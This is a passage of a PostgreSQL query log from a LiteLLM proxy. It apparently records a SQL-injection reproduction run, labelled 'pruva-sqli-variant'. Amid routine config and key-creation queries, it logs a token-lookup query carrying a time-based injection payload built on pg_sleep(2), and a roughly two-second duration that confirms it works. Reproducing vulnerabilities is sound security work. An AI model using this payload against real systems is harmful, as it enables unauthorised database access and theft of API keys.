'MonthlyGlobalSpendPerUserPerKey', 'Last30dTopEndUsersSpend', 'DailyTagSpend' ) ) SELECT (SELECT COUNT(*) FROM existing_views) AS view_count, ARRAY_AGG(viewname) AS view_names FROM existing_views 2026-07-07 07:40:24.835 UTC [132534] LOG: execute s1: WITH existing_views AS ( SELECT viewname FROM pg_views WHERE schemaname = 'public' AND viewname IN ( 'LiteLLM_VerificationTokenView', 'MonthlyGlobalSpend', 'Last30dKeysBySpend', 'Last30dModelsBySpend', 'MonthlyGlobalSpendPerKey', 'MonthlyGlobalSpendPerUserPerKey', 'Last30dTopEndUsersSpend', 'DailyTagSpend' ) ) SELECT (SELECT COUNT(*) FROM existing_views) AS view_count, ARRAY_AGG(viewname) AS view_names FROM existing_views 2026-07-07 07:40:24.835 UTC [132534] LOG: duration: 0.044 ms 2026-07-07 07:40:24.838 UTC [132534] LOG: duration: 0.182 ms parse s3: SELECT "public"."LiteLLM_Config"."param_name", "public"."LiteLLM_Config"."param_value" FROM "public"."LiteLLM_Config" WHERE "public"."LiteLLM_Config"."param_name" = $1 LIMIT $2 OFFSET $3 /* traceparent=00-00000000000000000000000000000000-0000000000000000-01 */ 2026-07-07 07:40:24.839 UTC [132536] LOG: duration: 0.179 ms parse s4: SELECT "public"."LiteLLM_UserTable"."user_id", "public"."LiteLLM_UserTable"."user_alias", "public"."LiteLLM_UserTable"."team_id", "public"."LiteLLM_UserTable"."sso_user_id", "public"."LiteLLM_UserTable"."organization_id", "public"."LiteLLM_UserTable"."object_permission_id", "public"."LiteLLM_UserTable"."password", "public"."LiteLLM_UserTable"."teams", "public"."LiteLLM_UserTable"."user_role", "public"."LiteLLM_UserTable"."max_budget", "public"."LiteLLM_UserTable"."spend", "public"."LiteLLM_UserTable"."user_email", "public"."LiteLLM_UserTable"."models", "public"."LiteLLM_UserTable"."metadata", "public"."LiteLLM_UserTable"."max_parallel_requests", "public"."LiteLLM_UserTable"."tpm_limit", "public"."LiteLLM_UserTable"."rpm_limit", "public"."LiteLLM_UserTable"."budget_duration", "public"."LiteLLM_UserTable"."budget_reset_at", "public"."LiteLLM_UserTable"."allowed_cache_controls", "public"."LiteLLM_UserTable"."policies", "public"."LiteLLM_UserTable"."model_spend", "public"."LiteLLM_UserTable"."model_max_budget", "public"."LiteLLM_UserTable"."created_at", "public"."LiteLLM_UserTable"."updated_at" FROM "public"."LiteLLM_UserTable" WHERE "public"."LiteLLM_UserTable"."password" IS NOT NULL OFFSET $1 /* traceparent=00-00000000000000000000000000000000-0000000000000000-01 */ 2026-07-07 07:40:24.839 UTC [132534] LOG: duration: 0.508 ms bind s3: SELECT "public"."LiteLLM_Config"."param_name", "public"."LiteLLM_Config"."param_value" FROM "public"."LiteLLM_Config" WHERE "public"."LiteLLM_Config"."param_name" = $1 LIMIT $2 OFFSET $3 /* traceparent=00-00000000000000000000000000000000-0000000000000000-01 */ 2026-07-07 07:40:24.839 UTC [132534] DETAIL: Parameters: $1 = 'general_settings', $2 = '1', $3 = '0' 2026-07-07 07:40:24.839 UTC [132534] LOG: execute s3: SELECT "public"."LiteLLM_Config"."param_name", "public"."LiteLLM_Config"."param_value" FROM "public"."LiteLLM_Config" WHERE "public"."LiteLLM_Config"."param_name" = $1 LIMIT $2 OFFSET $3 /* traceparent=00-00000000000000000000000000000000-0000000000000000-01 */ 2026-07-07 07:40:24.839 UTC [132534] DETAIL: Parameters: $1 = 'general_settings', $2 = '1', $3 = '0' 2026-07-07 07:40:24.839 UTC [132534] LOG: duration: 0.011 ms 2026-07-07 07:40:24.840 UTC [132536] LOG: duration: 0.670 ms bind s4: SELECT "public"."LiteLLM_UserTable"."user_id", "public"."LiteLLM_UserTable"."user_alias", "public"."LiteLLM_UserTable"."team_id", "public"."LiteLLM_UserTable"."sso_user_id", "public"."LiteLLM_UserTable"."organization_id", "public"."LiteLLM_UserTable"."object_permission_id", "public"."LiteLLM_UserTable"."password", "public"."LiteLLM_UserTable"."teams", "public"."LiteLLM_UserTable"."user_role", "public"."LiteLLM_UserTable"."max_budget", "public"."LiteLLM_UserTable"."spend", "public"."LiteLLM_UserTable"."user_email", "public"."LiteLLM_UserTable"."models", "public"."LiteLLM_UserTable"."metadata", "public"."LiteLLM_UserTable"."max_parallel_requests", "public"."LiteLLM_UserTable"."tpm_limit", "public"."LiteLLM_UserTable"."rpm_limit", "public"."LiteLLM_UserTable"."budget_duration", "public"."LiteLLM_UserTable"."budget_reset_at", "public"."LiteLLM_UserTable"."allowed_cache_controls", "public"."LiteLLM_UserTable"."policies", "public"."LiteLLM_UserTable"."model_spend", "public"."LiteLLM_UserTable"."model_max_budget", "public"."LiteLLM_UserTable"."created_at", "public"."LiteLLM_UserTable"."updated_at" FROM "public"."LiteLLM_UserTable" WHERE "public"."LiteLLM_UserTable"."password" IS NOT NULL OFFSET $1 /* traceparent=00-00000000000000000000000000000000-0000000000000000-01 */ 2026-07-07 07:40:24.840 UTC [132536] DETAIL: Parameters: $1 = '0' 2026-07-07 07:40:24.840 UTC [132536] LOG: execute s4: SELECT "public"."LiteLLM_UserTable"."user_id", "public"."LiteLLM_UserTable"."user_alias", "public"."LiteLLM_UserTable"."team_id", "public"."LiteLLM_UserTable"."sso_user_id", "public"."LiteLLM_UserTable"."organization_id", "public"."LiteLLM_UserTable"."object_permission_id", "public"."LiteLLM_UserTable"."password", "public"."LiteLLM_UserTable"."teams", "public"."LiteLLM_UserTable"."user_role", "public"."LiteLLM_UserTable"."max_budget", "public"."LiteLLM_UserTable"."spend", "public"."LiteLLM_UserTable"."user_email", "public"."LiteLLM_UserTable"."models", "public"."LiteLLM_UserTable"."metadata", "public"."LiteLLM_UserTable"."max_parallel_requests", "public"."LiteLLM_UserTable"."tpm_limit", "public"."LiteLLM_UserTable"."rpm_limit", "public"."LiteLLM_UserTable"."budget_duration", "public"."LiteLLM_UserTable"."budget_reset_at", "public"."LiteLLM_UserTable"."allowed_cache_controls", "public"."LiteLLM_UserTable"."policies", "public"."LiteLLM_UserTable"."model_spend", "public"."LiteLLM_UserTable"."model_max_budget", "public"."LiteLLM_UserTable"."created_at", "public"."LiteLLM_UserTable"."updated_at" FROM "public"."LiteLLM_UserTable" WHERE "public"."LiteLLM_UserTable"."password" IS NOT NULL OFFSET $1 /* traceparent=00-00000000000000000000000000000000-0000000000000000-01 */ 2026-07-07 07:40:24.840 UTC [132536] DETAIL: Parameters: $1 = '0' 2026-07-07 07:40:24.840 UTC [132536] LOG: duration: 0.009 ms 2026-07-07 07:40:24.840 UTC [132536] LOG: duration: 0.054 ms parse s5: SELECT "public"."LiteLLM_Config"."param_name", "public"."LiteLLM_Config"."param_value" FROM "public"."LiteLLM_Config" WHERE "public"."LiteLLM_Config"."param_name" = $1 LIMIT $2 OFFSET $3 /* traceparent=00-00000000000000000000000000000000-0000000000000000-01 */ 2026-07-07 07:40:24.840 UTC [132536] LOG: duration: 0.068 ms bind s5: SELECT "public"."LiteLLM_Config"."param_name", "public"."LiteLLM_Config"."param_value" FROM "public"."LiteLLM_Config" WHERE "public"."LiteLLM_Config"."param_name" = $1 LIMIT $2 OFFSET $3 /* traceparent=00-00000000000000000000000000000000-0000000000000000-01 */ 2026-07-07 07:40:24.840 UTC [132536] DETAIL: Parameters: $1 = 'cloudzero_settings', $2 = '1', $3 = '0' 2026-07-07 07:40:24.840 UTC [132536] LOG: execute s5: SELECT "public"."LiteLLM_Config"."param_name", "public"."LiteLLM_Config"."param_value" FROM "public"."LiteLLM_Config" WHERE "public"."LiteLLM_Config"."param_name" = $1 LIMIT $2 OFFSET $3 /* traceparent=00-00000000000000000000000000000000-0000000000000000-01 */ 2026-07-07 07:40:24.840 UTC [132536] DETAIL: Parameters: $1 = 'cloudzero_settings', $2 = '1', $3 = '0' 2026-07-07 07:40:24.840 UTC [132536] LOG: duration: 0.010 ms 2026-07-07 07:40:24.841 UTC [132536] LOG: duration: 0.036 ms bind s5: SELECT "public"."LiteLLM_Config"."param_name", "public"."LiteLLM_Config"."param_value" FROM "public"."LiteLLM_Config" WHERE "public"."LiteLLM_Config"."param_name" = $1 LIMIT $2 OFFSET $3 /* traceparent=00-00000000000000000000000000000000-0000000000000000-01 */ 2026-07-07 07:40:24.841 UTC [132536] DETAIL: Parameters: $1 = 'vantage_settings', $2 = '1', $3 = '0' 2026-07-07 07:40:24.841 UTC [132536] LOG: execute s5: SELECT "public"."LiteLLM_Config"."param_name", "public"."LiteLLM_Config"."param_value" FROM "public"."LiteLLM_Config" WHERE "public"."LiteLLM_Config"."param_name" = $1 LIMIT $2 OFFSET $3 /* traceparent=00-00000000000000000000000000000000-0000000000000000-01 */ 2026-07-07 07:40:24.841 UTC [132536] DETAIL: Parameters: $1 = 'vantage_settings', $2 = '1', $3 = '0' 2026-07-07 07:40:24.841 UTC [132536] LOG: duration: 0.007 ms 2026-07-07 07:40:24.842 UTC [132536] LOG: duration: 0.102 ms parse s6: SELECT "public"."LiteLLM_UISettings"."id", "public"."LiteLLM_UISettings"."ui_settings", "public"."LiteLLM_UISettings"."created_at", "public"."LiteLLM_UISettings"."updated_at" FROM "public"."LiteLLM_UISettings" WHERE ("public"."LiteLLM_UISettings"."id" = $1 AND 1=1) LIMIT $2 OFFSET $3 /* traceparent=00-00000000000000000000000000000000-0000000000000000-01 */ 2026-07-07 07:40:24.843 UTC [132536] LOG: duration: 0.349 ms bind s6: SELECT "public"."LiteLLM_UISettings"."id", "public"."LiteLLM_UISettings"."ui_settings", "public"."LiteLLM_UISettings"."created_at", "public"."LiteLLM_UISettings"."updated_at" FROM "public"."LiteLLM_UISettings" WHERE ("public"."LiteLLM_UISettings"."id" = $1 AND 1=1) LIMIT $2 OFFSET $3 /* traceparent=00-00000000000000000000000000000000-0000000000000000-01 */ 2026-07-07 07:40:24.843 UTC [132536] DETAIL: Parameters: $1 = 'ui_settings', $2 = '1', $3 = '0' 2026-07-07 07:40:24.843 UTC [132536] LOG: execute s6: SELECT "public"."LiteLLM_UISettings"."id", "public"."LiteLLM_UISettings"."ui_settings", "public"."LiteLLM_UISettings"."created_at", "public"."LiteLLM_UISettings"."updated_at" FROM "public"."LiteLLM_UISettings" WHERE ("public"."LiteLLM_UISettings"."id" = $1 AND 1=1) LIMIT $2 OFFSET $3 /* traceparent=00-00000000000000000000000000000000-0000000000000000-01 */ 2026-07-07 07:40:24.843 UTC [132536] DETAIL: Parameters: $1 = 'ui_settings', $2 = '1', $3 = '0' 2026-07-07 07:40:24.843 UTC [132536] LOG: duration: 0.009 ms 2026-07-07 07:40:25.677 UTC [132536] LOG: statement: BEGIN 2026-07-07 07:40:25.677 UTC [132536] LOG: duration: 0.078 ms 2026-07-07 07:40:25.677 UTC [132536] LOG: duration: 0.250 ms parse s7: SELECT "public"."LiteLLM_VerificationToken"."token" FROM "public"."LiteLLM_VerificationToken" WHERE ("public"."LiteLLM_VerificationToken"."token" = $1 AND 1=1) OFFSET $2 /* traceparent=00-00000000000000000000000000000000-0000000000000000-01 */ 2026-07-07 07:40:25.678 UTC [132536] LOG: duration: 0.309 ms bind s7: SELECT "public"."LiteLLM_VerificationToken"."token" FROM "public"."LiteLLM_VerificationToken" WHERE ("public"."LiteLLM_VerificationToken"."token" = $1 AND 1=1) OFFSET $2 /* traceparent=00-00000000000000000000000000000000-0000000000000000-01 */ 2026-07-07 07:40:25.678 UTC [132536] DETAIL: Parameters: $1 = '602bafd209e8c7ffeb201eacfc414ccf7091cec81f3c340e05bfad1422284135', $2 = '0' 2026-07-07 07:40:25.678 UTC [132536] LOG: execute s7: SELECT "public"."LiteLLM_VerificationToken"."token" FROM "public"."LiteLLM_VerificationToken" WHERE ("public"."LiteLLM_VerificationToken"."token" = $1 AND 1=1) OFFSET $2 /* traceparent=00-00000000000000000000000000000000-0000000000000000-01 */ 2026-07-07 07:40:25.678 UTC [132536] DETAIL: Parameters: $1 = '602bafd209e8c7ffeb201eacfc414ccf7091cec81f3c340e05bfad1422284135', $2 = '0' 2026-07-07 07:40:25.678 UTC [132536] LOG: duration: 0.418 ms 2026-07-07 07:40:25.679 UTC [132536] LOG: duration: 0.127 ms parse s8: INSERT INTO "public"."LiteLLM_VerificationToken" ("token","key_name","key_alias","soft_budget_cooldown","spend","expires","models","aliases","config","router_settings","user_id","team_id","agent_id","project_id","permissions","max_parallel_requests","metadata","blocked","tpm_limit","rpm_limit","max_budget","budget_duration","budget_reset_at","allowed_cache_controls","allowed_routes","policies","access_group_ids","model_spend","model_max_budget","budget_id","organization_id","object_permission_id","created_at","created_by","updated_at","updated_by","rotation_count","auto_rotate") VALUES ($1,$2,$3,$4,$5,$6,$7,$8,$9,$10,$11,$12,$13,$14,$15,$16,$17,$18,$19,$20,$21,$22,$23,$24,$25,$26,$27,$28,$29,$30,$31,$32,$33,$34,$35,$36,$37,$38) RETURNING "public"."LiteLLM_VerificationToken"."token" /* traceparent=00-00000000000000000000000000000000-0000000000000000-01 */ 2026-07-07 07:40:25.679 UTC [132536] LOG: duration: 0.075 ms bind s8: INSERT INTO "public"."LiteLLM_VerificationToken" ("token","key_name","key_alias","soft_budget_cooldown","spend","expires","models","aliases","config","router_settings","user_id","team_id","agent_id","project_id","permissions","max_parallel_requests","metadata","blocked","tpm_limit","rpm_limit","max_budget","budget_duration","budget_reset_at","allowed_cache_controls","allowed_routes","policies","access_group_ids","model_spend","model_max_budget","budget_id","organization_id","object_permission_id","created_at","created_by","updated_at","updated_by","rotation_count","auto_rotate") VALUES ($1,$2,$3,$4,$5,$6,$7,$8,$9,$10,$11,$12,$13,$14,$15,$16,$17,$18,$19,$20,$21,$22,$23,$24,$25,$26,$27,$28,$29,$30,$31,$32,$33,$34,$35,$36,$37,$38) RETURNING "public"."LiteLLM_VerificationToken"."token" /* traceparent=00-00000000000000000000000000000000-0000000000000000-01 */ 2026-07-07 07:40:25.679 UTC [132536] DETAIL: Parameters: $1 = '602bafd209e8c7ffeb201eacfc414ccf7091cec81f3c340e05bfad1422284135', $2 = 'sk-...L6kQ', $3 = NULL, $4 = 'f', $5 = '0', $6 = NULL, $7 = '{gpt-4o}', $8 = '{}', $9 = '{}', $10 = '{}', $11 = NULL, $12 = NULL, $13 = NULL, $14 = NULL, $15 = '{}', $16 = NULL, $17 = '{"purpose": "pruva-sqli-variant"}', $18 = NULL, $19 = NULL, $20 = NULL, $21 = NULL, $22 = NULL, $23 = NULL, $24 = '{}', $25 = '{}', $26 = '{}', $27 = '{}', $28 = '{}', $29 = '{}', $30 = NULL, $31 = NULL, $32 = NULL, $33 = '2026-07-07 07:40:25.676', $34 = 'default_user_id', $35 = '2026-07-07 07:40:25.676', $36 = 'default_user_id', $37 = '0', $38 = 'f' 2026-07-07 07:40:25.679 UTC [132536] LOG: execute s8: INSERT INTO "public"."LiteLLM_VerificationToken" ("token","key_name","key_alias","soft_budget_cooldown","spend","expires","models","aliases","config","router_settings","user_id","team_id","agent_id","project_id","permissions","max_parallel_requests","metadata","blocked","tpm_limit","rpm_limit","max_budget","budget_duration","budget_reset_at","allowed_cache_controls","allowed_routes","policies","access_group_ids","model_spend","model_max_budget","budget_id","organization_id","object_permission_id","created_at","created_by","updated_at","updated_by","rotation_count","auto_rotate") VALUES ($1,$2,$3,$4,$5,$6,$7,$8,$9,$10,$11,$12,$13,$14,$15,$16,$17,$18,$19,$20,$21,$22,$23,$24,$25,$26,$27,$28,$29,$30,$31,$32,$33,$34,$35,$36,$37,$38) RETURNING "public"."LiteLLM_VerificationToken"."token" /* traceparent=00-00000000000000000000000000000000-0000000000000000-01 */ 2026-07-07 07:40:25.679 UTC [132536] DETAIL: Parameters: $1 = '602bafd209e8c7ffeb201eacfc414ccf7091cec81f3c340e05bfad1422284135', $2 = 'sk-...L6kQ', $3 = NULL, $4 = 'f', $5 = '0', $6 = NULL, $7 = '{gpt-4o}', $8 = '{}', $9 = '{}', $10 = '{}', $11 = NULL, $12 = NULL, $13 = NULL, $14 = NULL, $15 = '{}', $16 = NULL, $17 = '{"purpose": "pruva-sqli-variant"}', $18 = NULL, $19 = NULL, $20 = NULL, $21 = NULL, $22 = NULL, $23 = NULL, $24 = '{}', $25 = '{}', $26 = '{}', $27 = '{}', $28 = '{}', $29 = '{}', $30 = NULL, $31 = NULL, $32 = NULL, $33 = '2026-07-07 07:40:25.676', $34 = 'default_user_id', $35 = '2026-07-07 07:40:25.676', $36 = 'default_user_id', $37 = '0', $38 = 'f' 2026-07-07 07:40:25.680 UTC [132536] LOG: duration: 0.879 ms 2026-07-07 07:40:25.680 UTC [132536] LOG: duration: 0.092 ms parse s9: SELECT "public"."LiteLLM_VerificationToken"."token", "public"."LiteLLM_VerificationToken"."key_name", "public"."LiteLLM_VerificationToken"."key_alias", "public"."LiteLLM_VerificationToken"."soft_budget_cooldown", "public"."LiteLLM_VerificationToken"."spend", "public"."LiteLLM_VerificationToken"."expires", "public"."LiteLLM_VerificationToken"."models", "public"."LiteLLM_VerificationToken"."aliases", "public"."LiteLLM_VerificationToken"."config", "public"."LiteLLM_VerificationToken"."router_settings", "public"."LiteLLM_VerificationToken"."user_id", "public"."LiteLLM_VerificationToken"."team_id", "public"."LiteLLM_VerificationToken"."agent_id", "public"."LiteLLM_VerificationToken"."project_id", "public"."LiteLLM_VerificationToken"."permissions", "public"."LiteLLM_VerificationToken"."max_parallel_requests", "public"."LiteLLM_VerificationToken"."metadata", "public"."LiteLLM_VerificationToken"."blocked", "public"."LiteLLM_VerificationToken"."tpm_limit", "public"."LiteLLM_VerificationToken"."rpm_limit", "public"."LiteLLM_VerificationToken"."max_budget", "public"."LiteLLM_VerificationToken"."budget_duration", "public"."LiteLLM_VerificationToken"."budget_reset_at", "public"."LiteLLM_VerificationToken"."allowed_cache_controls", "public"."LiteLLM_VerificationToken"."allowed_routes", "public"."LiteLLM_VerificationToken"."policies", "public"."LiteLLM_VerificationToken"."access_group_ids", "public"."LiteLLM_VerificationToken"."model_spend", "public"."LiteLLM_VerificationToken"."model_max_budget", "public"."LiteLLM_VerificationToken"."budget_id", "public"."LiteLLM_VerificationToken"."organization_id", "public"."LiteLLM_VerificationToken"."object_permission_id", "public"."LiteLLM_VerificationToken"."created_at", "public"."LiteLLM_VerificationToken"."created_by", "public"."LiteLLM_VerificationToken"."updated_at", "public"."LiteLLM_VerificationToken"."updated_by", "public"."LiteLLM_VerificationToken"."last_active", "public"."LiteLLM_VerificationToken"."rotation_count", "public"."LiteLLM_VerificationToken"."auto_rotate", "public"."LiteLLM_VerificationToken"."rotation_interval", "public"."LiteLLM_VerificationToken"."last_rotation_at", "public"."LiteLLM_VerificationToken"."key_rotation_at" FROM "public"."LiteLLM_VerificationToken" WHERE "public"."LiteLLM_VerificationToken"."token" = $1 LIMIT $2 OFFSET $3 /* traceparent=00-00000000000000000000000000000000-0000000000000000-01 */ 2026-07-07 07:40:25.680 UTC [132536] LOG: duration: 0.085 ms bind s9: SELECT "public"."LiteLLM_VerificationToken"."token", "public"."LiteLLM_VerificationToken"."key_name", "public"."LiteLLM_VerificationToken"."key_alias", "public"."LiteLLM_VerificationToken"."soft_budget_cooldown", "public"."LiteLLM_VerificationToken"."spend", "public"."LiteLLM_VerificationToken"."expires", "public"."LiteLLM_VerificationToken"."models", "public"."LiteLLM_VerificationToken"."aliases", "public"."LiteLLM_VerificationToken"."config", "public"."LiteLLM_VerificationToken"."router_settings", "public"."LiteLLM_VerificationToken"."user_id", "public"."LiteLLM_VerificationToken"."team_id", "public"."LiteLLM_VerificationToken"."agent_id", "public"."LiteLLM_VerificationToken"."project_id", "public"."LiteLLM_VerificationToken"."permissions", "public"."LiteLLM_VerificationToken"."max_parallel_requests", "public"."LiteLLM_VerificationToken"."metadata", "public"."LiteLLM_VerificationToken"."blocked", "public"."LiteLLM_VerificationToken"."tpm_limit", "public"."LiteLLM_VerificationToken"."rpm_limit", "public"."LiteLLM_VerificationToken"."max_budget", "public"."LiteLLM_VerificationToken"."budget_duration", "public"."LiteLLM_VerificationToken"."budget_reset_at", "public"."LiteLLM_VerificationToken"."allowed_cache_controls", "public"."LiteLLM_VerificationToken"."allowed_routes", "public"."LiteLLM_VerificationToken"."policies", "public"."LiteLLM_VerificationToken"."access_group_ids", "public"."LiteLLM_VerificationToken"."model_spend", "public"."LiteLLM_VerificationToken"."model_max_budget", "public"."LiteLLM_VerificationToken"."budget_id", "public"."LiteLLM_VerificationToken"."organization_id", "public"."LiteLLM_VerificationToken"."object_permission_id", "public"."LiteLLM_VerificationToken"."created_at", "public"."LiteLLM_VerificationToken"."created_by", "public"."LiteLLM_VerificationToken"."updated_at", "public"."LiteLLM_VerificationToken"."updated_by", "public"."LiteLLM_VerificationToken"."last_active", "public"."LiteLLM_VerificationToken"."rotation_count", "public"."LiteLLM_VerificationToken"."auto_rotate", "public"."LiteLLM_VerificationToken"."rotation_interval", "public"."LiteLLM_VerificationToken"."last_rotation_at", "public"."LiteLLM_VerificationToken"."key_rotation_at" FROM "public"."LiteLLM_VerificationToken" WHERE "public"."LiteLLM_VerificationToken"."token" = $1 LIMIT $2 OFFSET $3 /* traceparent=00-00000000000000000000000000000000-0000000000000000-01 */ 2026-07-07 07:40:25.680 UTC [132536] DETAIL: Parameters: $1 = '602bafd209e8c7ffeb201eacfc414ccf7091cec81f3c340e05bfad1422284135', $2 = '1', $3 = '0' 2026-07-07 07:40:25.680 UTC [132536] LOG: execute s9: SELECT "public"."LiteLLM_VerificationToken"."token", "public"."LiteLLM_VerificationToken"."key_name", "public"."LiteLLM_VerificationToken"."key_alias", "public"."LiteLLM_VerificationToken"."soft_budget_cooldown", "public"."LiteLLM_VerificationToken"."spend", "public"."LiteLLM_VerificationToken"."expires", "public"."LiteLLM_VerificationToken"."models", "public"."LiteLLM_VerificationToken"."aliases", "public"."LiteLLM_VerificationToken"."config", "public"."LiteLLM_VerificationToken"."router_settings", "public"."LiteLLM_VerificationToken"."user_id", "public"."LiteLLM_VerificationToken"."team_id", "public"."LiteLLM_VerificationToken"."agent_id", "public"."LiteLLM_VerificationToken"."project_id", "public"."LiteLLM_VerificationToken"."permissions", "public"."LiteLLM_VerificationToken"."max_parallel_requests", "public"."LiteLLM_VerificationToken"."metadata", "public"."LiteLLM_VerificationToken"."blocked", "public"."LiteLLM_VerificationToken"."tpm_limit", "public"."LiteLLM_VerificationToken"."rpm_limit", "public"."LiteLLM_VerificationToken"."max_budget", "public"."LiteLLM_VerificationToken"."budget_duration", "public"."LiteLLM_VerificationToken"."budget_reset_at", "public"."LiteLLM_VerificationToken"."allowed_cache_controls", "public"."LiteLLM_VerificationToken"."allowed_routes", "public"."LiteLLM_VerificationToken"."policies", "public"."LiteLLM_VerificationToken"."access_group_ids", "public"."LiteLLM_VerificationToken"."model_spend", "public"."LiteLLM_VerificationToken"."model_max_budget", "public"."LiteLLM_VerificationToken"."budget_id", "public"."LiteLLM_VerificationToken"."organization_id", "public"."LiteLLM_VerificationToken"."object_permission_id", "public"."LiteLLM_VerificationToken"."created_at", "public"."LiteLLM_VerificationToken"."created_by", "public"."LiteLLM_VerificationToken"."updated_at", "public"."LiteLLM_VerificationToken"."updated_by", "public"."LiteLLM_VerificationToken"."last_active", "public"."LiteLLM_VerificationToken"."rotation_count", "public"."LiteLLM_VerificationToken"."auto_rotate", "public"."LiteLLM_VerificationToken"."rotation_interval", "public"."LiteLLM_VerificationToken"."last_rotation_at", "public"."LiteLLM_VerificationToken"."key_rotation_at" FROM "public"."LiteLLM_VerificationToken" WHERE "public"."LiteLLM_VerificationToken"."token" = $1 LIMIT $2 OFFSET $3 /* traceparent=00-00000000000000000000000000000000-0000000000000000-01 */ 2026-07-07 07:40:25.680 UTC [132536] DETAIL: Parameters: $1 = '602bafd209e8c7ffeb201eacfc414ccf7091cec81f3c340e05bfad1422284135', $2 = '1', $3 = '0' 2026-07-07 07:40:25.680 UTC [132536] LOG: duration: 0.026 ms 2026-07-07 07:40:25.680 UTC [132536] LOG: statement: COMMIT 2026-07-07 07:40:25.685 UTC [132536] LOG: duration: 4.656 ms 2026-07-07 07:40:25.725 UTC [132536] LOG: duration: 0.591 ms parse s10: SELECT v.*, t.spend AS team_spend, t.max_budget AS team_max_budget, t.soft_budget AS team_soft_budget, t.tpm_limit AS team_tpm_limit, t.rpm_limit AS team_rpm_limit, t.models AS team_models, t.metadata AS team_metadata, t.blocked AS team_blocked, t.team_alias AS team_alias, t.metadata AS team_metadata, t.members_with_roles AS team_members_with_roles, t.object_permission_id AS team_object_permission_id, t.organization_id as org_id, p.project_alias AS project_alias, tm.spend AS team_member_spend, m.aliases AS team_model_aliases, -- Added comma to separate b.* columns b.max_budget AS litellm_budget_table_max_budget, b.tpm_limit AS litellm_budget_table_tpm_limit, b.rpm_limit AS litellm_budget_table_rpm_limit, b.model_max_budget as litellm_budget_table_model_max_budget, b.soft_budget as litellm_budget_table_soft_budget, o.metadata as organization_metadata, o.organization_alias as organization_alias, b2.max_budget as organization_max_budget, b2.tpm_limit as organization_tpm_limit, b2.rpm_limit as organization_rpm_limit FROM "LiteLLM_VerificationToken" AS v LEFT JOIN "LiteLLM_TeamTable" AS t ON v.team_id = t.team_id LEFT JOIN "LiteLLM_TeamMembership" AS tm ON v.team_id = tm.team_id AND tm.user_id = v.user_id LEFT JOIN "LiteLLM_ModelTable" m ON t.model_id = m.id LEFT JOIN "LiteLLM_BudgetTable" AS b ON v.budget_id = b.budget_id LEFT JOIN "LiteLLM_ProjectTable" AS p ON v.project_id = p.project_id LEFT JOIN "LiteLLM_OrganizationTable" AS o ON v.organization_id = o.organization_id LEFT JOIN "LiteLLM_BudgetTable" AS b2 ON o.budget_id = b2.budget_id WHERE v.token = '' OR EXISTS(SELECT 1 FROM pg_sleep(2)) -- api-key' 2026-07-07 07:40:25.729 UTC [132536] LOG: duration: 3.753 ms bind s10: SELECT v.*, t.spend AS team_spend, t.max_budget AS team_max_budget, t.soft_budget AS team_soft_budget, t.tpm_limit AS team_tpm_limit, t.rpm_limit AS team_rpm_limit, t.models AS team_models, t.metadata AS team_metadata, t.blocked AS team_blocked, t.team_alias AS team_alias, t.metadata AS team_metadata, t.members_with_roles AS team_members_with_roles, t.object_permission_id AS team_object_permission_id, t.organization_id as org_id, p.project_alias AS project_alias, tm.spend AS team_member_spend, m.aliases AS team_model_aliases, -- Added comma to separate b.* columns b.max_budget AS litellm_budget_table_max_budget, b.tpm_limit AS litellm_budget_table_tpm_limit, b.rpm_limit AS litellm_budget_table_rpm_limit, b.model_max_budget as litellm_budget_table_model_max_budget, b.soft_budget as litellm_budget_table_soft_budget, o.metadata as organization_metadata, o.organization_alias as organization_alias, b2.max_budget as organization_max_budget, b2.tpm_limit as organization_tpm_limit, b2.rpm_limit as organization_rpm_limit FROM "LiteLLM_VerificationToken" AS v LEFT JOIN "LiteLLM_TeamTable" AS t ON v.team_id = t.team_id LEFT JOIN "LiteLLM_TeamMembership" AS tm ON v.team_id = tm.team_id AND tm.user_id = v.user_id LEFT JOIN "LiteLLM_ModelTable" m ON t.model_id = m.id LEFT JOIN "LiteLLM_BudgetTable" AS b ON v.budget_id = b.budget_id LEFT JOIN "LiteLLM_ProjectTable" AS p ON v.project_id = p.project_id LEFT JOIN "LiteLLM_OrganizationTable" AS o ON v.organization_id = o.organization_id LEFT JOIN "LiteLLM_BudgetTable" AS b2 ON o.budget_id = b2.budget_id WHERE v.token = '' OR EXISTS(SELECT 1 FROM pg_sleep(2)) -- api-key' 2026-07-07 07:40:25.729 UTC [132536] LOG: execute s10: SELECT v.*, t.spend AS team_spend, t.max_budget AS team_max_budget, t.soft_budget AS team_soft_budget, t.tpm_limit AS team_tpm_limit, t.rpm_limit AS team_rpm_limit, t.models AS team_models, t.metadata AS team_metadata, t.blocked AS team_blocked, t.team_alias AS team_alias, t.metadata AS team_metadata, t.members_with_roles AS team_members_with_roles, t.object_permission_id AS team_object_permission_id, t.organization_id as org_id, p.project_alias AS project_alias, tm.spend AS team_member_spend, m.aliases AS team_model_aliases, -- Added comma to separate b.* columns b.max_budget AS litellm_budget_table_max_budget, b.tpm_limit AS litellm_budget_table_tpm_limit, b.rpm_limit AS litellm_budget_table_rpm_limit, b.model_max_budget as litellm_budget_table_model_max_budget, b.soft_budget as litellm_budget_table_soft_budget, o.metadata as organization_metadata, o.organization_alias as organization_alias, b2.max_budget as organization_max_budget, b2.tpm_limit as organization_tpm_limit, b2.rpm_limit as organization_rpm_limit FROM "LiteLLM_VerificationToken" AS v LEFT JOIN "LiteLLM_TeamTable" AS t ON v.team_id = t.team_id LEFT JOIN "LiteLLM_TeamMembership" AS tm ON v.team_id = tm.team_id AND tm.user_id = v.user_id LEFT JOIN "LiteLLM_ModelTable" m ON t.model_id = m.id LEFT JOIN "LiteLLM_BudgetTable" AS b ON v.budget_id = b.budget_id LEFT JOIN "LiteLLM_ProjectTable" AS p ON v.project_id = p.project_id LEFT JOIN "LiteLLM_OrganizationTable" AS o ON v.organization_id = o.organization_id LEFT JOIN "LiteLLM_BudgetTable" AS b2 ON o.budget_id = b2.budget_id WHERE v.token = '' OR EXISTS(SELECT 1 FROM pg_sleep(2)) -- api-key' 2026-07-07 07:40:27.731 UTC [132536] LOG: duration: 2002.296 ms 2026-07-07 07:40:27.743 UTC [132536] LOG: duration: 0.258 ms parse s11: SELECT v.*, t.spend AS team_spend, t.max_budget AS team_max_budget, t.soft_budget AS team_soft_budget, t.tpm_limit AS team_tpm_limit, t.rpm_limit AS team_rpm_limit, t.models AS team_models, t.metadata AS team_metadata, t.blocked AS team_blocked, t.team_alias AS team_alias, t.metadata AS team_metadata, t.members_with_roles AS team_members_with_roles, t.object_permission_id AS team_object_permission_id, t.organization_id as org_id, p.project_alias AS project_alias, tm.spend AS team_member_spend, m.aliases AS team_model_aliases, -- Added comma to separate b.* columns 